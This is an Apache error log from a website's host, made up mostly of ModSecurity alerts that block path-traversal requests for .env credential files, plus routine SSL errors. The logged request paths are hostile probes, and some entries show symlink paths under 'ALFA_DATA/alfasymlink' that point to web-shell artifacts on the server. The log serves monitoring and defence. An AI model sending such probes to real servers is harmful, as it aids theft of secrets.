[Mon Oct 26 07:05:14.869640 2026] [security2:error] [pid 3019683:tid 3019683] [client 34.39.164.1:35204] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at8z6lof53hb7OuRv5elYQAAAB4"]
[Mon Oct 26 07:05:14.869843 2026] [security2:error] [pid 3019683:tid 3019683] [client 34.39.164.1:35204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at8z6lof53hb7OuRv5elYQAAAB4"]
[Mon Oct 26 07:05:14.870165 2026] [security2:error] [pid 3019683:tid 3019683] [client 34.39.164.1:35204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at8z6lof53hb7OuRv5elYQAAAB4"]
[Mon Oct 26 07:05:14.870605 2026] [security2:error] [pid 3019684:tid 3019684] [client 34.39.164.1:35124] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /css../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at8z6p6Iz97_8G0cPXB1pwAAAB8"]
[Mon Oct 26 07:05:14.870717 2026] [security2:error] [pid 3019684:tid 3019684] [client 34.39.164.1:35124] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /css../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at8z6p6Iz97_8G0cPXB1pwAAAB8"]
[Mon Oct 26 07:05:14.870837 2026] [security2:error] [pid 3019684:tid 3019684] [client 34.39.164.1:35124] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at8z6p6Iz97_8G0cPXB1pwAAAB8"]
[Mon Oct 26 07:05:14.871122 2026] [security2:error] [pid 3019684:tid 3019684] [client 34.39.164.1:35124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at8z6p6Iz97_8G0cPXB1pwAAAB8"]
[Mon Oct 26 07:05:14.871504 2026] [security2:error] [pid 3019684:tid 3019684] [client 34.39.164.1:35124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at8z6p6Iz97_8G0cPXB1pwAAAB8"]
[Mon Oct 26 07:05:14.872486 2026] [security2:error] [pid 3019678:tid 3019678] [client 34.39.164.1:35136] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /uploads../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at8z6vG-7WoIIZT01LRXFQAAABc"]
[Mon Oct 26 07:05:14.872573 2026] [security2:error] [pid 3019678:tid 3019678] [client 34.39.164.1:35136] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /uploads../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at8z6vG-7WoIIZT01LRXFQAAABc"]
[Mon Oct 26 07:05:14.872632 2026] [security2:error] [pid 3019678:tid 3019678] [client 34.39.164.1:35136] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at8z6vG-7WoIIZT01LRXFQAAABc"]
[Mon Oct 26 07:05:14.872782 2026] [security2:error] [pid 3019678:tid 3019678] [client 34.39.164.1:35136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at8z6vG-7WoIIZT01LRXFQAAABc"]
[Mon Oct 26 07:05:14.873058 2026] [security2:error] [pid 3019678:tid 3019678] [client 34.39.164.1:35136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at8z6vG-7WoIIZT01LRXFQAAABc"]
[Mon Oct 26 07:05:14.873401 2026] [security2:error] [pid 3019680:tid 3019680] [client 34.39.164.1:35184] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at8z6jJ1uO-UsU3OU6iwMQAAABs"]
[Mon Oct 26 07:05:14.873470 2026] [security2:error] [pid 3019680:tid 3019680] [client 34.39.164.1:35184] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at8z6jJ1uO-UsU3OU6iwMQAAABs"]
[Mon Oct 26 07:05:14.873520 2026] [security2:error] [pid 3019680:tid 3019680] [client 34.39.164.1:35184] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at8z6jJ1uO-UsU3OU6iwMQAAABs"]
[Mon Oct 26 07:05:14.873658 2026] [security2:error] [pid 3019680:tid 3019680] [client 34.39.164.1:35184] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at8z6jJ1uO-UsU3OU6iwMQAAABs"]
[Mon Oct 26 07:05:14.873979 2026] [security2:error] [pid 3019680:tid 3019680] [client 34.39.164.1:35184] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at8z6jJ1uO-UsU3OU6iwMQAAABs"]
[Mon Oct 26 07:05:14.885791 2026] [security2:error] [pid 3019681:tid 3019681] [client 34.39.164.1:35146] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at8z6mlqkKxk66RzKF4EsQAAABw"]
[Mon Oct 26 07:05:14.885875 2026] [security2:error] [pid 3019681:tid 3019681] [client 34.39.164.1:35146] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at8z6mlqkKxk66RzKF4EsQAAABw"]
[Mon Oct 26 07:05:14.885941 2026] [security2:error] [pid 3019681:tid 3019681] [client 34.39.164.1:35146] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at8z6mlqkKxk66RzKF4EsQAAABw"]
[Mon Oct 26 07:05:14.886144 2026] [security2:error] [pid 3019681:tid 3019681] [client 34.39.164.1:35146] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at8z6mlqkKxk66RzKF4EsQAAABw"]
[Mon Oct 26 07:05:14.886565 2026] [security2:error] [pid 3019681:tid 3019681] [client 34.39.164.1:35146] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at8z6mlqkKxk66RzKF4EsQAAABw"]
[Mon Oct 26 07:05:15.407587 2026] [ssl:error] [pid 3019703:tid 3019703] (70014)End of file found: [client 3.209.174.110:43392] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:05:15.911927 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.39.164.1:51972] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/api"] [unique_id "at8z633wwcXP35BsOaDumgAAAAw"]
[Mon Oct 26 07:05:15.912266 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.39.164.1:51972] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/api"] [unique_id "at8z633wwcXP35BsOaDumgAAAAw"]
[Mon Oct 26 07:05:15.912507 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.39.164.1:51972] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/api"] [unique_id "at8z633wwcXP35BsOaDumgAAAAw"]
[Mon Oct 26 07:05:16.724481 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.39.164.1:51944] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/app"] [unique_id "at8z7LkwJvKDxgyGEF95kAAAABE"]
[Mon Oct 26 07:05:16.724807 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.39.164.1:51944] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/app"] [unique_id "at8z7LkwJvKDxgyGEF95kAAAABE"]
[Mon Oct 26 07:05:16.725043 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.39.164.1:51944] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/app"] [unique_id "at8z7LkwJvKDxgyGEF95kAAAABE"]
[Mon Oct 26 07:05:16.999722 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.39.164.1:51944] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/app"] [unique_id "at8z7LkwJvKDxgyGEF95kQAAABE"]
[Mon Oct 26 07:05:17.000044 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.39.164.1:51944] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/app"] [unique_id "at8z7LkwJvKDxgyGEF95kQAAABE"]
[Mon Oct 26 07:05:17.000265 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.39.164.1:51944] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/app"] [unique_id "at8z7LkwJvKDxgyGEF95kQAAABE"]
[Mon Oct 26 07:05:19.747718 2026] [ssl:error] [pid 3019684:tid 3019684] (70014)End of file found: [client 54.204.12.115:5919] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:05:22.534786 2026] [ssl:error] [pid 3019681:tid 3019681] (70014)End of file found: [client 52.70.123.241:52718] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:05:50.315458 2026] [ssl:error] [pid 3019681:tid 3019681] (70014)End of file found: [client 18.215.77.19:42132] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:05:58.168174 2026] [ssl:error] [pid 3019673:tid 3019673] (70014)End of file found: [client 52.2.4.213:7228] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:06:02.133146 2026] [core:error] [pid 3019676:tid 3019676] (13)Permission denied: [client 100.24.167.60:65313] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory14/node0/cpu1/firmware_node/physical_node/crash_notes
[Mon Oct 26 07:06:14.297174 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 44.195.145.102:19387] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:06:18.141057 2026] [ssl:error] [pid 3010072:tid 3010072] (70014)End of file found: [client 44.212.232.231:3356] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:06:30.165444 2026] [ssl:error] [pid 3019681:tid 3019681] (70014)End of file found: [client 34.206.212.24:44388] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:06:34.173217 2026] [ssl:error] [pid 3019673:tid 3019673] (70014)End of file found: [client 3.224.215.150:26146] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:06:38.151282 2026] [ssl:error] [pid 3019679:tid 3019679] (70014)End of file found: [client 18.213.240.226:9484] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:06:42.156095 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 18.215.77.19:5848] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:06:46.140243 2026] [ssl:error] [pid 3010072:tid 3010072] (70014)End of file found: [client 44.196.118.6:26193] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:06:48.551126 2026] [core:error] [pid 3019681:tid 3019681] (13)Permission denied: [client 185.191.171.8:55174] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-8/objects
[Mon Oct 26 07:06:51.389285 2026] [core:error] [pid 3017657:tid 3017657] (13)Permission denied: [client 185.191.171.7:36082] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_reject_ipv4/sections/__kcrctab_gpl
[Mon Oct 26 07:06:54.149428 2026] [ssl:error] [pid 3019673:tid 3019673] (70014)End of file found: [client 54.87.62.248:13279] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:07:02.163483 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 44.214.19.8:63903] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:07:10.142679 2026] [ssl:error] [pid 3019673:tid 3019673] (5)Input/output error: [client 44.194.139.149:13036] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:07:14.276837 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 44.215.210.112:53089] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:07:18.202063 2026] [ssl:error] [pid 3019679:tid 3019679] (70014)End of file found: [client 184.72.84.154:13350] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:07:22.183111 2026] [ssl:error] [pid 3019681:tid 3019681] (70014)End of file found: [client 34.206.212.24:64383] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:07:30.161182 2026] [ssl:error] [pid 3019482:tid 3019482] (70014)End of file found: [client 50.16.248.61:2654] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:07:42.133304 2026] [ssl:error] [pid 3019482:tid 3019482] (70014)End of file found: [client 44.221.105.234:13825] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:07:46.230663 2026] [ssl:error] [pid 3010067:tid 3010067] (70014)End of file found: [client 54.84.147.79:28348] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:07:50.178149 2026] [ssl:error] [pid 3019681:tid 3019681] (70014)End of file found: [client 52.204.71.8:54844] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:07:54.141896 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 98.83.226.125:29421] AH02013: coalesce failed to read from data bucket
